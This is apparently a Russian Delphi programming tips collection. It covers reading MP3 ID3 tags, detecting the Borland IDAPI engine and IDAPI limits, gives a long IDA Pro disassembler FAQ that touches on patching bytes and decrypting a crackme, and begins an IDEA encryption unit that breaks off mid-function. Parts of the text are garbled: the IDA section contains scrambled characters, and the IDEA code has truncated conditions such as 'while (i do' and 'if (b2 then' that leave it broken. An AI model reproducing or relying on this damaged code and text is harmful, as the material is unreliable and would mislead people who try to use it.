'Blues', 'Classic Rock', 'Country', 'Dance',
...
'Synthpop' {возможно, список будет расширен}
);
Для чтения тэга ID3 служит процедура FillID3TagInformation:
procedure FillID3TagInformation(mp3File: string; Title, Artist,
Album, Year, Genre, Comment: TEdit);
var
ID3: TID3Rec;
fmp3: TFileStream;
begin
fmp3 := TFileStream.Create(mp3File, fmOpenRead);
try
fmp3.position := fmp3.size - 128;
fmp3.Read(ID3, SizeOf(ID3));
finally
fmp3.free;
end;
if ID3.Tag <> 'TAG' then
begin
Title.Text := 'Wrong or no ID3 tag information';
Artist.Text := 'Wrong or no ID3 tag information';
Album.Text := 'Wrong or no ID3 tag information';
Year.Text := 'Wrong or no ID3 tag information';
Genre.Text := 'Wrong or no ID3 tag information';
Comment.Text := 'Wrong or no ID3 tag information';
end
else
begin
Title.Text := ID3.Title;
Artist.Text := ID3.Artist;
Album.Text := ID3.Album;
Year.Text := ID3.Year;
if ID3.Genre in [0..MaxID3Genre] then
Genre.Text := ID3Genre[ID3.Genre]
else
Genre.Text := IntToStr(ID3.Genre);
Comment.Text := ID3.Comment
end;
end;
Этот код использует объект TFileStream для доступа к тэгу ID3. После открытия файла указатель устанавливается на позицию EndOfFile-128. Если в этой позиции найдено слово "TAG", информация копируется в соответствующие поля редактирования, иначе эти поля заполняются сообщениями по умолчанию.
Вот, пожалуй, и все. Запись тэга ID3 предлагается к самостоятельному изучению - пусть хоть что-то напишется вашими руками.
Проверка наличия IDAPI.
unit Findbde;
interface
implementation
uses
Controls, SysUtils, WinTypes, WinProcs, Dialogs;
var
IdapiPath: array[0..255] of Char;
IdapiHandle: THandle;
initialization
GetProfileString('IDAPI', 'DLLPath', 'C:\', IdapiPath, 255);
{следующие строки "изолируют" первый путь к каталогу
из IdapiPath в случае, если их несколько}
if Pos(';', StrPas(IdapiPath)) <> 0 then
begin
StrPCopy(IdapiPath, Copy(StrPas(IdapiPath), 1,
Pred(Pos(';', StrPas(IdapiPath)))));
end;
IdapiHandle := LoadLibrary(StrCat(IdapiPath, '\IDAPI01.DLL'));
if IdapiHandle < HINSTANCE_ERROR then
begin
if MessageDlg('ОШИБКА: Borland Database Engine (IDAPI) не найдена' +
'перед следующей попыткой ее необходимо установить....',
mtError, [mbOK], 0) = mrOK then
Halt
end
{ IDAPI в системе не установлена }
else
begin
FreeLibrary(IdapiHandle);
{ IDAPI Установлена в системе }
end;
end.
|
Конфликт IDAPI German и English.
Автор: Walter Schell Я просто установил DtopicsP v1.20 и DtopicsD (03-29-96). При запуске dtopics.exe возникает ошибка DB-Error $3E05 ('cannot load driver') (не могу загрузить драйвер). Я нашел ответ в German Borland Forum. Ошибка происходит, если установлен German BDE. В этом случае в систему устанавливается вместо IDR10009.DLL (который присутствует в английской версии) файл IDR10007.DLL. После установки данного файла в каталог IDAPI все заработало как часы.Это означает, что приложения, разработанные под English Delphi не будут работать под German или French Delphi.
Ограничения IDAPI.
Автор: Reinhard Kalinke Приведенный текст является цитатой из документа Borland TI2751, Jan 23rd, 1995:Вот ТЕКУЩИЕ максимальные ограничения для некоторых общих объектов IDAPI. В следующей версии они могут быть другими.
48 // Максимальное число клиентов в системе
32 // Максимальное число сеансов для клиента
32 // Максимальное число открытых баз данных для сессии
32 // Максимальное число загруженных драйверов
64 // Максимальное число сеансов для системы
4000 // Максимальное число курсоров для сессии
100 // Максимальное число паролей для сессии
16 // Максимальное число входов в стеке ошибок
127 // Максимальное число блокировок данного типа в данной таблице
// BLOB дескрипторов на курсор
Paradox: максимально (16, в различное время два BLOB-поля
таблицы)
dBASE: в различное время два BLOB-поля
таблицы
|
Часто задаваемые вопросы по дизассемблеру IDA Pro.
Автор: Крис Касперски Основопологающее введение Существует по крайней мере два подхода к изучению программ - трассировка и дизассембли- рование. Несмотря на многие преимущества методов отладки, только дизассемблирование способно дать хорошо документированный листинг программы, понять механизм взаимодействия различных ее ветвей и возможность, внеся изменение, рекомпилировать продукт. Однако, по отдельности отладчик и дизассемблер все же малоэффективны для серьезных задач, что бы об этом ни говорили. Мне пришлось разрабатывать методы экстремально быстрого анализа сложных продуктов в сжа- тые сроки. Последним из достаточно крупных дизассемблированных мной проектов была «Вирусная Энциклопедия» Е.Касперского. Целью дизассемблирования было понять взаимодействие последней с данными (файлы .hlp и .dem) для написания собственной оболочки. Весь проект у меня занял не более трех дней. Чтобы уложиться в этот срок отладчиком перехватывались вызовы функций открытия\чте- ния\позиционирования файлов, после чего заданные фрагменты дизассемблировались; с помощью листинга изучалась «грубая» логика на уровне взаимодействий различных ветвей кода, а детали и тонко- сти уточнялись под отладчиком. И так повторялось до тех пор, пока структура файлов не стала очевид- ной. Именно связка дизассемблер+отладчик позволяет в рекордно короткие сроки анализировать мно- гомегабайтные файлы. Остановимся же на дизассемблере. Дизассемблеры бывают двух видов - пакетные и интерактивные. В первом случае анализ производится автоматически на основе выбранных настроек, во втором можно контролировать весь процесс дизассемблирования. К пакетным относится SOURCER, к интерактивным IDA Pro, hiew. Пакетные дизассемблеры обычно проще в управлении, но имеют ряд врожденных ограничений, в том числе и уязвимость даже против простых защит и антиотладочных приемов. Поэто- му пакетные дизассемблеры мы рассматривать не будем. Простейший из интерактивных дизассемб- леров это hiew. Им идеально вскрываются компактные защиты и анализируются программы, размером не более десятка килобайт. IDA Pro это единственный в своем роде и уникальный инструмент, сочетаю- щий в себе не только мощное интерактивное дизассемблирование, но и обеспечивающий очень удоб- ную навигацию по анализируемому файлу. Возможности инструмента фантастические. Очень печаль- но, конечно, что столь мощный инструмент применяется чаще всего для замены пары байт и поиска нужного кода среди перекрестных ссылок. Не последней причиной того явилось отсутствие у IDA Pro какой-либо документации, кроме контекстной помощи на английском языке. Я надеюсь, что данное описание поможет раскрыть истинные глубины возможностей этого инструмента и побудит исследователей к творчеству, выходящему за рамки подмены пары байт в чу- жом коде. Данное описание относится к версии 3.64 (32-bit MS DOS) той, которая на данный момент есть у меня. Версия для Windows будет описана в другой раз, так как отладка под DOS и Windows име- ет разную идеологию и требует разных навыков для работы. Описание тематически делится на три не- зависимых раздела. В первом будет описан интерфейс IDA Pro, во втором сам механизм дизассемблирования и последний будет посвящен внутреннему языку. Установка Первый вопрос, возникающий при установке IDA Pro это: «где ее взять?» По адресу http:// serv.unibest.ru/~ig/index.html расположена страничка поддержки IDA Pro, с которой можно скачать самую последнюю версию (на момент написания материала это была 3.8), а также свободно распространяемые предыдущие версии, несколько полезных утилит и примеров использования встроенного языка. Версия 3.6 занимает 11 мегабайт, а более поздняя версия не может быть скопиро- вана автором из-за плохой связи и временно не рассматривается..2 В комплект поставки IDA Pro 3.6 входят три самостоятельные версии для разных операционных сис- тем: w OS/2 w Win32 w MS DOS Все относящееся к OS/2 в данном описании не рассматривается. Версии для DOS и Windows являют- ся консольными приложениями Win32 поэтому в «чистом» DOS™е ни одна из них работать не будет. Установка, как обычно проходит полностью автоматически и никаких проблем не вызывает. Интерфейс Первые компьютеры, с которыми я столкнулся, не были достаточно мощными, чтобы поддерживать графический интерфейс и общались с пользователем посредством простейшей командной строки. Может быть этим объясняется моя маниакальная любовь к командной строке и зеленым-по-черному экрану. Поддержка IDA Pro командной строки явилась одной из причин безоговорочного выбора ее, как очевидной платформы. Взаимодействие только посредством систем меню у меня всегда вызывало раздражение. Говорят «язык определят мышление» и это правильно. Командная строка учит абстрактному мыш- лению и дает возможность формулировать и выражать свои мысли. Перемещать мышь по коврику, все равно что жестикулировать; визуальное взаимодействие по типу «нажал на кнопку - получил ба- нан» способствует развитию плоского мышления и, кроме того, просто пошло. Но богатство IDA Pro не ограничивается командной строкой. IDA Pro имеет мощный встроенный Си- подобный язык программирования из которого доступен почти весь API последней. Фактически мы можем забыть про всю иерархию меню и общаться с IDA Pro посредством командного режима. Пос- леднее не шутка, а совершенно серьезное руководство к действию. Это дает безграничные просторы для Вашей фантазии и творчества. Более того, скрипты IDA Pro освобождают от рутиной работы, позво- ляя перечислить все необходимые действия и записать их в файл (про макросы я, конечно, помню, но это все же не то). Слабое место всех дизассемблеров это шифрованный или самомодифицирующийся код. SOURCER в этом случае выплевывает километры бессмысленных дампов, над которыми потом приходится си- деть с карандашом и бумагой. Hiew, поддерживающий интерпретируемую систему дешифрования, был первой, насколько мне известно, удачной попыткой решения этой проблемы. Однако, его слава просто меркнет в лучах потрясающих возможностей IDA Pro. Скажу сразу, для дизассемблеров подобные возможности нетипичны, но очень удобны. В IDA Pro имеется возможность дешифровки программы с помощью встроенного языка и последующего дизассемблирования расшифрованных фрагментов. Более того, модифицировав «пару байт», можно на том же встроенном языке обратно зашифровать файл! Удивительно, но о последнем или не знают, или не акцентируют внимание и, по-моему, зря. Писать Си-подобные скрипты в IDA Pro куда удобнее, чем «вживую» резать в hiew файл и при каждой ошибке все переделывать. Возможности языка IDA Pro дают возможность писать даже атакующие неизвестный шифр скрипты. Одну тренировочную программу [crackme], закрытую шифром Вермана я легко расшифровал в IDA Pro подбором пароля (атакой по открытому тексту (типа 0x21CD)) и тут же дизассемблировал. На все это ушло ровно семь минут. Я думаю, что главное отличие программистов «старой» и «новой» школы в разных подходах к решению поставленной задачи. «Старики» аналитически разбивают задачу на множество локальных подзадач, которые потом выражают через имеющийся в их расположении сервис. Сегодня программист сразу с головой зарывается в SDK в поиске «так, что тут у нас подходит?» отводя алгоритмизацию на второй план. Отсюда шаблонные безвкусные программы и деградирующий в плане оптимизации код. Такое мышление иногда называют «сценарическим». Сценарий в свою очередь это простейшая, часто линей- ная программа, поочередно вызывающая ряд функций. (Типичные сценарии - это .bat файлы). Заме- чу, что в Windows исчез командный язык, поэтому даже такая простая задача, как вывод оглавления каталога в файл стала неразрешимой..3 Одним из главных элементов интерфейса IDA Pro является «рабочий стол» или в терминологии IDA Pro «Окно сообщений». Сюда выводится вся информация, генерируемая IDA Pro или пользовательски- ми скриптами. Рабочий стол выполнен по типу телетайпа, что вызывает ностальгию по «старым боль- шим машинам». Замечу, что оконный интерфейс все же берет свое и «телетайп» можно прокручивать вверх и вниз, что очень удобно и дает возможность просматривать строки, скрывшиеся за верхней гра- ницей экрана. Кроме этого имеется очень удобная возможность ведения протокола. Для этого необхо- димо в окружение добавить новую переменную IDALOG=logfile Это просто незаменимо для тех «кли- нических» случаев, когда Ваш скрипт выводит на Рабочий Стол десятки килобайт информации,в которых разобраться скромными средствами навигации окна сообщений становится очень затруднительно. Са- мая верхняя строка - строка статуса выглядит следующим образом: в AU:-idle- READY 00:30:25 Содержимое пунктов меню мы рассмотрим позднее, а пока обратим внимание на правую часть строки статуса. Стрелка, направленная вниз задает направление поиска. Прямое направление «сверху- вниз» устанавливается по умолчанию, но его можно изменить на обратное, нажав «Tab», или с помо- щью встроенной функции Direction(1\0); для этого необходимо нажать Ctrl-F2 и ввести (с соблюдени- ем регистра!) Direction(0). Логично, что Direction(1) задет прямое направление. Очень приятно, что все «горячие» клавиши можно переназначать. Для этого необходимо открыть в редакторе файл ida.cfg и найти секцию «Keyboard hotkey definitions». Ее структура очевидна - для каждого Идентификатора указывается соответствующая комбинация клавиш. В дальнейшем я буду всегда приводить прототипы всех функций, т.к. каким бы маньяком меня не считали, но я привык их набирать из командной строки, что рекомендую и другим. В самом деле, набрать команду можно и вслепую, а для выбора пункта меню нужно сфокусировать на нем внимание. Горячие клавиши проблемы не решают, т.к. труднее запоминаются и число «эргономичных» комбинаций весь- ма ограничено. Правее индикатора направления находится индикатор АвтоАнализа. К самому АвтоАнализу мы вернемся немного позднее, а пока рассмотрим возможные состояния индикатора. Что означает буква iзU1ч в аббревиатуре я так и не смог понять, не написано об этом и в справочной системе програм- мы, функционально это индикатор, отображающий состояние автоанализа. Возможных состояний все- го два: w iо-idle-1з - АвтоАнализ завершен; w iнdisаь1е1а - АвтоАнализ заблокирован. Заблокировать автоматический анализ можно как из командной стоки DOS (ключ -a), так и командой встроенного языка Analysis. Альтернативно это можно сделать через Меню Options\Background analysis... Абревиатура iбАС1и расшифровывается как «Анализ Кода» и справа указывается текущий ли- нейный адрес. iдРL1. - «PLanned» данный адрес невозможно дизассемблировать и он пропущен. ip@1у - Текущий адрес помечен как iаиnехр1огеd1в (неисследованный). Обычно так помечаются данные, тип которых IDA Pro распознать не в состоянии. Кроме этого имеется один недокументированный индикатор iоРR1у о назначении которого я смутно догадываюсь, но в 3.6 версии он видимо недокументирован. Интересно, как обстоят дела с последующими версиями? Если индикатор Вас раздражает, то его мож- но выключить через команду AutoShow (long autoshow); горячих клавиш для этих действий не предусмотрено, но ввиду экзотичности (и бесполезности) самих операций это неудобств, как правило не вызывает. Загрузка Дизассемблирование любого файла начинается с его загрузки. Несмотря на то, что в большинстве случаев она проходит полностью автоматически, благодаря умению IDA Pro грамотно распознавать и корректно работать с большинством форматов файлов, на практике у исследователя не редки случаи, когда файл необходимо загрузить вручную. Это в первую очередь относится к дампам различных об- ластей памяти, диска, выполняемого кода. В качестве нестандартного примера давайте дизассемблируем главный загрузочный сектор. Запи- шем его в файл mbr.bin. Автоматически IDA Pro загрузит файл с базовым адресом равным нулю, что изменит все смещения и рано или поздно заведет нас в дебри (BIOS грузит MBR в память по адресу.4 0x7C00). Автоматический загрузчик IDA Pro не может знать по какому адресу в памяти должен распо- лагаться данный дамп, поэтому нам придется сделать это самостоятельно. Задать базовое смещение можно из диалога, появляющегося при загрузке, или из командной строки. Но если Вы теперь попыта- етесь это сделать, то IDA Pro сообщит: «Can™t use these switches with the old file» [использование суще- ствующей базы с таким ключом невозможно]. Поэтому прежнюю базу придется удалить. Это нетруд- но сделать вручную, но в пакетном режиме гораздо удобнее использовать специальный ключ -c, кото- рый автоматически удаляет существующие базы без раздражающих запросов и остановок. Обратите внимание, что отсутствие подтверждения может очень дорого стоить, т.к. вся ваша работа будет нео- братимо уничтожена! Но в нашем случае база не содержит никакой полезной информации и, безбо- лезненно расставшись с ней, мы можем внести новые значения в диалог загрузки. i.Loading segmentlg - это базовый адрес сегмента. Организация памяти в IDA Pro напоминает вирту- альную память 386+ - каждый сегмент (селектор) имеет базовый адрес, который на начальном этапе освоения IDA Pro можно никак не учитывать, но он позднее нам пригодится для работы со скиптами. Кроме того можно в любой момент дозагрузить любой файл по произвольному адресу, что очень удобно, например, при «склеивании» дампов, снятых с разных фрагментов файла. iрLоаding offsetln задает начальное смещение для первого элемента загружаемого файла (эквивален- тно директиве ORG в языке макроассемблера). В нашем случае это смещение равно 0x7C00. По умолчанию IDA Pro создает сегменты. Тут необходимо заметить, что ядро IDA Pro устроено так, что все API дизассемблера может работать только с сегментами. Если мы их запретим, то дизассемб- лирование станет невозможным, но это не помешает работе с загруженным образом файла посред- ством командного языка. Обычно этот режим применяется для работы с полностью криптованными файлами или файлами данных. Аналогичную функцию выполняет ключ -x командной строки, но в на- шем примере запрещать создание сегментов мы не будем. Теперь, пока отрабатывает загрузка и анализ файла, мы вернемся к опциям командной строки. IDA Pro поддерживает множество различных процессорных платформ, но сама, разумеется не может их автоматически определить. Выбираемый по умолчанию процессор можно установить через команду консоли SetPrcsr (char processor) или с помощью кнопи Change processor. В одной и той же линейке процессор может быть перевыбран в любой момент анализа, что само по себе очень приятно, но выб- рать другое семейство процессоров после загрузки уже будет невозможно. Поэтому его необходи- мо задать в командной строке. Для этого существует ключ -p####, где #### символьный код процессора. Поскольку все коды указаны во встроенной помощи, то я здесь их не привожу. Регистр, в котором набираются символы не учитывается, поэтому команды -pz80 и -pZ80 будут эквивалентны. Те же символьные коды используются и в SetPrcst, но напоминаю, что последняя не способна менять се- мейство процессоров во время анализа. Ключ -b#### позволяет задавать уже упоминавшийся базовый адрес загрузки. По умолчанию он равен 0x1000 и на начальном этапе освоения IDA Pro нет никаких причин для его изменения. Интересно, что в версии 3.6 отсутствует поверка его границ и «увлекшись» можно получить аварийное завершение программы из-за их нарушения. Впрочем, я не интересовался как с этим обстоит в других версиях, поскольку эта ошибка не критична и крайне маловероятна..5 Для изучения заголовка MS DOS PE файлов, можно использовать ключ -n, хотя в нем очень редко бывает что-то достойное внимания, поэтому большей частью эта возможность останется невостребо- ванной. Но всегда приятнее иметь в резерве, чем в критической ситуации лихорадочно искать необхо- димый инструментарий. К этой же категории можно отнести ключ -d, который активизирует отладочный режим. При этом на консоль будет выводится некоторая отладочная информация. Это, возможно, полезно для автора IDA Pro, а для остальных информация будет большей частью неинтересна. Ключ -f запрещает инструкции математического сопроцессора и в данном описания не рассматрива- ется. Во второй части математическому сопроцессору будет посвящена отдельная глава. Мышь можно отключить ключом -м. Для загрузки и автоматического выполнения скипта можно использовать ключ -s filename.idc. Того же эффекта можно добиться, если переименовать файл в ida.idc, который IDA Pro всегда загружает и исполняет (если он существует). Недостаток обоих этих методов в том, что нельзя автоматически ис- полнить несколько файлов. На практике же такая необходимость, к сожалению, встречается достаточ- но часто. Поэтому гораздо удобнее загружать скипты в интерактивном режиме через «IDC file...F2». Небольшие скипы удобнее набирать непосредственно с консоли, вызываемой Shift-F2, но они к сожале- нию не сохраняются при выходе из IDA Pro. Конфигурация Кроме командной строки, конфигурацией IDA Pro можно управлять посредством конфигурацион- ных файлов. Это настолько мощный, гибкий и удобный сервис, что его рассмотрим отдельной главой. Все конфигурационные файлы полностью текстовые и представляют собой набор инструкций и оп- ределений для препроцессора в стиле языка Си. Также можно использовать комментарии и включае- мые файлы. Таких файлов два. ida.cfg - управляющий собственно конфигурацией и idc.idc - описыва- ющий прототипы встроенных функций. IDA Pro так же автоматически подключает файл idauser.cfg, но об этом чуть позднее. Все файлы снабжены подробными комментариями, поэтому разобраться с ними будет не трудно. Конфигурационный файл ida.cfg исполняется в два этапа. Первый проход отрабатывает сразу, как только IDA Pro будет загружена. В этой секции расширения файлов ассоциируются с типом процессо- ра, определяются некоторые рабочие настройки IDA Pro, раскладка «горячих клавиш» и спецификации для конкретных OS. Первая секция начинается с директивы препроцессора «#ifdef ____» и заканчивается «#else». Воз- можно, по умолчанию, таблица ассоциаций расширенний файлов с типом процессора «DEFAULT_PRO- CESSOR» задана не самым оптимальным образом и может быть легко изменена. В моей версии по умолчанию для .com файлов был задан процессор 8086. На практике же большинство .com файлов используют инструкции более поздних процессоров, поэтому рекомендую установить 80386r. Секция конфигурации памяти позволяет изменить выделяемую для разных нужд память. DATABASE_MEMORY определяет сколько памяти в байтах отводится под имена, строки, перекрестные ссылки и т.д. По умолчанию это значение равно нулю. При этом объем выделяемой IDA Pro памяти равен учетверенной длине загруженного файла, но не менее 128 кб. Для уже дизассемблированного файла выделяемый объем равен размеру базы. VPAGESIZE (размер виртуальной страницы) по умолчанию равен 4096 байт. С его ростом увеличива- ется скорость работы, но так же все больше и больше теряеться памяти. Особенно актуальным размер используемой памяти будет в том случае, если запрошенный объем превысит ресурсы установленной физической памяти - начнется активная работа с временным файлом Windows на диске. Размер вир- туальной станицы должен представлять собой степень двойки. VPAGES задает размер виртуальной памяти в страницах. По умолчанию он равен нулю, при этом IDA Pro в соответствии с размером страниц выделяет память аналогично DATABASE_MEMORY. Замечу, что эти настойки без достаточной на то нужды лучше не менять, т.к. они выбраны достаточно оптималь- но..6 Секция конфигурации экрана находится в тесной зависимости от используемой операционной систе- мы. Выбором соответствующей ветки конфигурации управляет директива #ifdef _OS_. За MS DOS, например, закреплено определение __MSDOS__. В этом случае IDA Pro запускается в текстовом режиме, который мы можем задать через SCREEN_MODE. По умолчанию он равен нулю, при этом IDA Pro не изменяет текущего видео-режима. Любопытно, что IDA Pro не контролирует, что бы выбранный режим в самом деле был текстовым, поэтому никто нам не помешает запустить ее и в графическом, например, 0x13. Жалко только, что результатов своей работы мы при этом не увидим. Для не-DOS режимов специфицируется не сам видео-режим, а число строк (старший байт) и столб- цов (младший байт). Выбрать палитру по вкусу нам поможет SCREEN_PALETTE. К сожалению в 3.6 версии выбор все еще небогат. Кроме черно-белого и монохромного (что по сути своей одно и тоже) можно выбрать един- ственный цветной режим, при этом нет никакой возможности управлять цветовой раскладкой. По умолчанию устанавливается режим автодетектирования дисплея и выбор соответствующей кон- фигурации. Секция раскладки горячих клавиш одна из моих самых любимых. Очень положительно ска- зывается на производительности эргономичность работы. Гораздо приятнее установить привычные со- четания, чем использовать в каждом инструменте свои и постоянно в них путаться. По возможности определения назначаемых клавиш эта секция самая гибкая. Большей частью используются строковые ярлыки, такие как «Shift-F2», или отдельные клавиши типа iиС1и, но можно задавать и скан-код. Нулевое значение, как не трудно догадаться, не присваивает ни одной горячей клавиши и это действие будет доступно только через систему меню. На этом первый проход можно считать завершенным. Второй проход начинается с директивы i.#е1sе1р. IDA Pro выполняет второй проход после того, как определен тип процессора, поэтому можно ис- пользовать мульти-конфигурацию с учетом типа. Для платформы Intel это решающего значения не имеет и никаких неудобств от использования одной и той же конфигурации для разных поколений процессо- ров обычно никто не испытывает. Секция «General parameteres» определяет значения параметров по умолчанию, доступных из меню «опции». Все их можно изменить в любой момент, но все изменения будут запоминаться только в теку- щей базе, а при выборе новой заново считывается из конфигурационного файла. То же самое в полной мере относится и к секциям «Text representation» и «ASCII strings & names». Секция «Translations and allowed character lists» управляет трансляцией символов. Смысл ее ясен с первого взгляда, как и то, что править ее нет необходимости. За исключением тех случаев, когда ис- пользуется несовместимая кодовая таблица. Кроме этого, в конфигурационном файле можно зада- вать клавиатурные макросы.IDA Pro позволяет записывать их и в интерактивном режиме. Для этого нужно нажать Alt+™-™ и затем сочетание клавиш, с которым данный макрос будет сопоставлен. После этого IDA Pro переходит в ре- жим записи макроса. Мы вводим макро-последовательность, которую завершаем нажатием Alt+™=™. Все, теперь макрос записан и будет исполняться при нажатии на «горячую» клавишу. Я не буду говорить насколько удобно бывает автоматизировать в работе рутинные действия, т.к. это становится ощутимо в первый десяток минут работы с макросами. К сожалению тут нас ждет большой сюрприз. Макросы не запоминаются при выходе из IDA Pro и их ввод приходится повторять сначала. Это искажает саму идею и снижает производительность. Кроме того, я не могу представить себе исследователя, который бы при каждом запуске IDA Pro вводил свои любимые макросы. Использовать пару-тройку макросов по- просту не выгодно, а десяток-другой утомительно (да и бессмысленно) каждый раз вводить вручную. Немного исправить этот недостаток призвана секция описания макросов в файле конфигурации. Тут самое время вспомнить про включаемые файлы. Если в текущей директории существует файл idauser.cfg, то он автоматически подключается. В результате мы можем иметь свои макросы для каж- дого проекта. Разумеется,можно добавить директиву #include user.mac, что бы назначение этого фай- ла стало очевидным. На этом разбор файла ida.cfg можно считать завершенным.
Установка и использование IDA Pro.
Дизассемблер позволяет получить ассемблерный текст программы из машинного кода (.exe или .dll модуля). Многие дизассемблеры могут определять имена вызываемых программой API-функций. IDA Pro отличается от других дизассемблеров тем, что он способен опознавать имена не только API-функций, но и функций из MFC (Microsoft Foundation Class - используется программами, написанными на Visual C++) и OWL (Object Windows Library - используется программами, написанными на Borland C++), а также стандартных функций языка Си (таких как fread(), strlen() и т.д.), включенных в код программы.
Установка программы обычно не вызывает никаких проблем. После запуска дизассемблера (файл idaw.exe) появляется окно сессии DOS. Не пугайтесь, IDA Pro - нормальное 32-разрядное приложение, просто оно консольное (работает в окне сессии DOS). Именно поэтому интерфейс IDA Pro напоминает интерфейс обычной DOS-программы.
Отметим несколько моментов, на которые Вам следует обратить внимание перед началом работы с IDA Pro:
Практически все настройки (кроме цветовой палитры) осуществляются через файл ida.cfg В первую очередь, давайте поменяем размеры экрана программы. Установленный по умолчанию размер на разрешении 1024*768 не очень удобен, поэтому лучше заменить строку
SCREEN_MODE = 0 (по умолчанию 32 строки по 80 символов) |
SCREEN_MODE = 0x783B (59 строк по 120 символов)- для разрешения 1024х768 |
О приемах работы с IDA Pro Вы познакомитесь в следующих статьях на примере работы с конкретными программами, или можете обратиться к ее полному описанию, которое скоро появится в разделе Описание инструментов. Что ж, со всеми описаниями мы закончили, в следующей статье приступим к исследованию конкретной программы - WinZip 7.0 (beta).
Модуль для IDEA шифрования.
Автор: Матвеев ИгорьЧасто в свои проекты необходимо включать шифрование данных. Самый простой способ - xor шифрование, но он подходит только когда необходимо обеспечить малый уровень защиты. Но иногда необходимы более серьезные алгоритмы.
Работая над архиватором файлов (вроде WinRar), у меня встал вопрос о шифровании, в таких программах как архиватор это просто необходимо.
Итак, существует ряд алгоритмов симметричного шифрования - когда один и тот же ключ используется для шифрования и дешифрования. Эти алгоритмы, как правило, очень хорошо изучены и их стойкость к различного рода атакам подтверждена результатами математических исследований.
Кроме того, 2 октября 2000 года NIST (Национальный институт стандартов и технологий, правопреемник прежнего НБС), утвердил алгоритм Rijndael Джоана Димена и Винсента Риджмена как AES (Усовершенствованный алгоритм шифрования, который должен стать заменой прежнего стандарта - DES). Алгоритм Rijndael свободен как для коммерческого, так и для некоммерческого использования и, по видимому, является наилучшим выбором если необходима достаточная стойкость шифра наряду с высокой скоростью работы и относительной простотой реализации.
Но я выбрал для своего архиватора алгоритм IDEA (International Data Encryption Algorithm). Этот алгоритм был разработан для простого воплощения как программно, так и аппаратно. Стойкость IDEA основывается на использовании трех несовместимых типов арифметических операций над 16-битными словами. IDEA очень распространен в Европе и используется в популярной программе шифрования электронных писем PGP (Pretty Good Privacy).
Нижепредставленный модуль полностью реализует в себе метода IDEA шифрования. Главными функциями являются:
function EncryptCopy(DestStream, SourseStream : TStream; Count: Int64; Key : string): Boolean; // Зашифровать данные из одного потока в другой
function DecryptCopy(DestStream, SourseStream : TStream; Count: Int64; Key : string): Boolean; // Расшифровать данные из одного потока в другой
function EncryptStream(DataStream: TStream; Count: Int64; Key : string): Boolean; // Зашифровать содержимое потока
function DecryptStream(DataStream: TStream; Count: Int64; Key : string): Boolean; // Расшифровать содержимое потока.
А теперь сам модуль:
{ *********************************************************************** }
{ }
{ Delphi Еnсгурtiоn Library }
{ Еnсгурtiоn / Decryption stream - IDEA }
{ }
{ Copyright (c) 2004 by Matveev Igor Vladimirovich }
{ With offers and wishes write: teap_leap@mail.ru }
{ }
{ *********************************************************************** }
unit IDEA;
interface
uses
SysUtils, Classes, Math;
const
Rounds = 8;
KeyLength = (Rounds * 6) + 4;
Maxim = 65537;
type
TIDEAKey = array[0..KeyLength-1] of Word;
TIDEABlock = array[1..4] of Word;
var
Z : TIDEAKey;
K : TIDEAKey;
FBlockSize : Integer;
FKey : string;
FBufferSize : Integer;
FKeySize : Integer;
FKeyPtr : PChar;
////////////////////////////////////////////////////////////////////////////////
// Дополнительные функции
procedure Initialize(AKey: string); // Инициализация
procedure CalculateSubKeys; // Подготовка подключей
function EncipherBlock(var Block): Boolean; // Шифрация блока (8 байт)
function DecipherBlock(var Block): Boolean; // Дешифрация блока
////////////////////////////////////////////////////////////////////////////////
// Основные функции
function EncryptCopy(DestStream, SourseStream : TStream; Count: Int64;
Key : string): Boolean; // Зашифровать данные из одного потока в другой
function DecryptCopy(DestStream, SourseStream : TStream; Count: Int64;
Key : string): Boolean; // Расшифровать данные из одного потока в другой
function EncryptStream(DataStream: TStream; Count: Int64;
Key: string): Boolean; // Зашифровать содержимое потока
function DecryptStream(DataStream: TStream; Count: Int64;
Key: string): Boolean; // Расшифровать содержимое потока
implementation
////////////////////////////////////////////////////////////////////////////////
function ROL(a, s: LongWord): LongWord;
asm
mov ecx, s
rol eax, cl
end;
////////////////////////////////////////////////////////////////////////////////
procedure InvolveKey;
var
TempKey : string;
i, j : Integer;
K1, K2 : LongWord;
begin
// Разворачивание ключа до длинны 51 символ
TempKey := FKey;
i := 1;
while ((Length(TempKey) mod FKeySize) <> 0) do
begin
TempKey := TempKey + TempKey[i];
Inc(i);
end;
// Now shorten the key down to one KeySize block by combining the bytes
i := 1;
j := 0;
while (i do
begin
Move((FKeyPtr+j)^, K1, 4);
Move(TempKey[i], K2, 4);
K1 := ROL(K1, K2) xor K2;
Move(K1, (FKeyPtr+j)^, 4);
j := (j + 4) mod FKeySize;
Inc(i, 4);
end;
end;
////////////////////////////////////////////////////////////////////////////////
{$R-,Q-}
procedure ExpandKeys;
var
i : Integer;
begin
// Копирование ключа в Z
Move(FKeyPtr^, Z, FKeySize);
// Генерация подключа зашифрование
for i := 8 to KeyLength-1 do
begin
if (((i+2) mod 8) = 0) then Z[i] := (Z[i- 7] shl 9) xor (Z[i-14] shr 7)
else if (((i+1) mod 8) = 0) then Z[i] := (Z[i-15] shl 9) xor (Z[i-14] shr 7)
else Z[i] := (Z[i- 7] shl 9) xor (Z[i- 6] shr 7);
end;
end;
////////////////////////////////////////////////////////////////////////////////
procedure InvertKeys;
type
PWord = ^Word;
var
j : Integer;
pz, pp : PWord;
t1, t2, t3 : Word;
////////////////////////////////////////
function Inv(I: Integer): Integer;
var
n1, n2, q, r, b1, b2, t : Integer;
begin
if (I = 0) then
Result := 0 else
begin
n1 := Maxim;
n2 := I;
b2 := 1;
b1 := 0;
repeat
r := (n1 mod n2);
q := (n1-r) div n2;
if (r = 0) then
begin
if (b2 then b2 := Maxim + b2;
end else
begin
n1 := n2;
n2 := r;
t := b2;
b2 := b1 - q * b2;
b1 := t;
end;
until (r = 0);
Result := b2;
end;
Result := (Result and $ffff);
end;
////////////////////////////////////////
begin
pz := @Z;
pp := @K;
Inc(pp, KeyLength);
// t1 = inv(*Z++);
t1 := Inv(pz^);
Inc(pz);
// t2 = -*Z++;
t2 := -pz^;
Inc(pz);
// t3 = -*Z++;
t3 := -pz^;
Inc(pz);
// *--p = inv(*Z++);
Dec(pp);
pp^ := Inv(pz^);
Inc(pz);
// *--p = t3;
Dec(pp);
pp^ := t3;
// *--p = t2;
Dec(pp);
pp^ := t2;
// *--p = t1;
Dec(pp);
pp^ := t1;
for j := 1 to Rounds-1 do
begin
// t1 = *Z++;
t1 := pz^;
Inc(pz);
// *--p = *Z++;
Dec(pp);
pp^ := pz^;
Inc(pz);
// *--p = t1;
Dec(pp);
pp^ := t1;
// t1 = inv(*Z++);
t1 := Inv(pz^);
Inc(pz);
// t2 = -*Z++;
